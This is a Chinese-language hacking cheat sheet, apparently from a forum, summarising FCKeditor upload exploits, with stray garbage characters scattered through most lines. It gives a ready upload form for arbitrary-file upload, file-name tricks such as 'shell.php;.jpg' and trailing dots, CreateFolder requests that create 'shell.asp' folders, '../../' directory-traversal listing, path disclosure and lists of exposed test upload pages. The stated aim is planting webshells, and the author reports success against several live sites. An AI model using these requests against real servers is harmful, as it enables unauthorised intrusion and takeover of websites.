Fckeditor漏洞利用总结
+ R2 Q" u, V6 T0 ]查看编辑器版本( o# X+ O3 a! r$ E5 [0 j
FCKeditor/_whatsnew.html5 I" }' a# Z, O3 m) f) s r
—————————————————————————————————————————————————————————————
1 A, i+ j1 {9 W9 q! w: p5 r
/ n8 I9 Q- W! x/ ^ Z9 }3 U2. Version 2.2 版本
) T& D, ?/ {/ I. c# z4 O3 p# OApache+linux 环境下在上传文件后面加个.突破!测试通过。
6 ~3 Z3 ?" ~1 ?; ~% z—————————————————————————————————————————————————————————————
/ H$ s/ l/ T+ D ?, T. T
" Y; h, e1 h" Y7 g9 T; y+ m3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。1 ]7 O) E, p' s X6 {" H8 ]& z3 g; X
<form id="frmUpload" enctype="multipart/form-data"; `7 n, f0 Q( j: v* S. M2 P. R
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
* g3 H" n" L8 ]' d8 @8 Z: f5 p* j. ^<input type="file" name="NewFile" size="50"><br>- r; R; O, _* c: k/ N# K: ?
<input id="btnUpload" type="submit" value="Upload">
3 u% _6 u: V) \9 o1 d, {</form>
' ^3 L" e/ I* x! _! e4 ], S, N—————————————————————————————————————————————————————————————
0 Y& h @4 e& h0 l5 b( o: c* ~% x/ v
# t& v# U+ _ g! i! v' Z H4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
5 u8 W7 L9 {( x3 ~2 t; J( s 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
' b9 A, Y& V9 t. S 4.1:提交shell.php+空格绕过' {8 T5 F: E. b5 z0 D) N# m3 B0 P
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
6 Y6 b2 Q4 s0 F- s+ \- L% E 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
. S' c5 @$ e: X) C) o7 s—————————————————————————————————————————————————————————————
, B1 m* U4 B5 b. C- p: P ~& W: k; y. f( g
5. 突破建立文件夹- s+ Q/ J: B+ Y
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
. T7 T; b( i9 U5 DFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
/ ]9 W2 X* x W. ]+ L- F, E8 M& _/ r—————————————————————————————————————————————————————————————
; E# Z! A- u5 Z: k* n% m1 Q* \% P
( A1 C! J( U; s% l3 f7 a- m) s. h6. FCKeditor 中test 文件的上传地址9 G" U& n/ T' { Q
FCKeditor/editor/filemanager/browser/default/connectors/test.html
% ~! D" P3 [9 p2 C2 Y1 {4 ]1 dFCKeditor/editor/filemanager/upload/test.html
% W9 k( a' H! T/ e/ H/ J; l; SFCKeditor/editor/filemanager/connectors/test.html
9 c# j5 l' f8 n- p3 G6 g% KFCKeditor/editor/filemanager/connectors/uploadtest.html% Q1 c) J2 F5 h" i
—————————————————————————————————————————————————————————————
- `6 n8 }6 c9 f- W5 L" Q, z+ ], m3 Z* z6 s
7.常用上传地址
; g, y7 g7 r# c5 W6 ?FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
. B* ^) B+ u: U. ~6 } E6 R2 gFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
0 x: G8 }3 c" Y2 s$ W2 FFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
" n$ F/ B& n. oJSP 版:
) F& ]0 r+ s c A3 ~FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp# D ?( W; u9 @7 T, O
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
" I$ c* d: i# ^2 m3 ~件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。' C2 R7 ~1 o8 n0 P3 M% U4 w
—————————————————————————————————————————————————————————————
) D& W9 S# o# r, G6 H+ g0 }6 I0 v7 u1 q% g% w+ t" s7 e, U
8.其他上传地址
o# L6 |. I; _ s" F7 S0 o: kFCKeditor/_samples/default.html
! Z5 q" { Q/ H+ @( Y* DFCKeditor/_samples/asp/sample01.asp5 j9 Y7 V2 Z' N& l3 k* k' R+ X, t" t
FCKeditor/_samples/asp/sample02.asp& \# @# _. Y$ d ^' Y9 H7 O. |
FCKeditor/_samples/asp/sample03.asp
2 R7 ]1 i+ E6 X7 N5 D% I( dFCKeditor/_samples/asp/sample04.asp
! o: g4 Q% e" U+ q. w6 w4 m一般很多站点都已删除_samples 目录,可以试试。
0 Q' h0 u8 t5 x6 c6 i2 C: pFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。$ N6 R9 A/ Z' A' Z# [3 r
—————————————————————————————————————————————————————————————5 `* u' C7 S4 G! s u7 ^
1 g0 l4 [" E! ^, f: s2 M3 X9.列目录漏洞也可助找上传地址2 v% o! j3 I H+ B) H% J
Version 2.4.1 测试通过
3 s8 b! m8 J& `, b, N7 \. f修改CurrentFolder 参数使用 ../../来进入不同的目录9 y' f4 m, D; E0 k$ J
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp& Q9 J- k6 W o9 u/ p6 e
根据返回的XML 信息可以查看网站所有的目录。
- e; G! v: U, B. ]: Z7 AFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
$ h4 a3 \2 i7 L0 Z" S也可以直接浏览盘符:* }# J$ ^, J+ {" k% {- b* u8 w% H4 V
JSP 版本:
" C v& H* `1 D5 `% E4 YFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F" {$ C8 }" |# D1 m% _5 T5 J6 U) L
—————————————————————————————————————————————————————————————1 J# @/ l: T# f0 m+ S' x
$ O/ c; K* b6 J- K. r" C5 x: V7 q/ e& k
10.爆路径漏洞
: s9 `: o) G$ d' R; H$ d% NFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
6 k6 R( N* C: i* k' p# ~7 A—————————————————————————————————————————————————————————————+ K% ^( E/ y7 l
" `# R0 d3 ^3 O11. FCKeditor 被动限制策略所导致的过滤不严问题
) S( i7 K/ ]0 k* ^4 B6 { 影响版本: FCKeditor x.x <= FCKeditor v2.4.3; ?0 ]. r# O4 y
脆弱描述:
; L: _( d, q5 I+ p" j5 ?FCKeditor v2.4.3 中File 类别默认拒绝上传类型:* W: O( K( Q4 \# u- Y+ b
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
# C) f0 r/ S9 Z* M, \% U0 D( BFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
( i# g# c+ l5 N/ M' V/ b 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。6 P: U. U. n ~) ~' m
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
- x8 Z. X. X( F—————————————————————————————————————————————————————————————
! }4 V6 R3 \ h- ~: q# s/ k! w9 t
12.最古老的漏洞,Type文件没有限制!, L* D7 I; v' P1 r
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! * u- R, K; H. K& T2 J* y2 I
—————————————————————————————————————————————————————————————* U# U7 E6 j: m! ~
. }% N0 C' A# O' o
===============================================================================================================================================
9 @% Q' n% h! k$ R/ ~, n
; S4 ?1 N/ l- a5 o. ^" P) y7 aFCK编辑器jsp版本漏洞:
# m. y4 P2 q! t9 C. b
) X* u+ {$ U9 z5 L# y
" ]- n, _- Y( n+ Mhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F6 m9 z# z" G% g0 X
- H) d! @ P' R+ s; n" K4 v
上传马所在目录6 v3 M+ Y" t6 `1 @
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
; h1 B* s$ i5 f( _; k上传shell的地址:
. S v- }! W# Q+ q, l1 M# hhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector9 J* E6 W% `, I
跟版本有关系.并不是百分百成功. 测试成功几个站.
7 ]. i7 s( Q$ d" B不能通杀.很遗憾.
! |; B: D# m: A' U: m% uhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector d! `' n- ~! C. q, U/ E
如果以上地址不行可以试试7 x* {8 o1 g' f8 |2 s
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector+ Q% @5 W H) }0 ]
FCKeditor/_samples/
O2 _# c2 P. `FCKeditor/_samples/default.html$ U+ Y# o/ k: O; W. u
FCKeditor/editor/fckeditor.htm
2 ? p. s/ D" r$ u XFCKeditor/editor/fckdialog.html+ _* h1 _9 d9 n: n" K
8 \( j# j' i. `/ E) q r. D3 `: n! t
. ?& v5 Z% Y" T! Y' ~8 M解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
6 K% F/ i& s) K |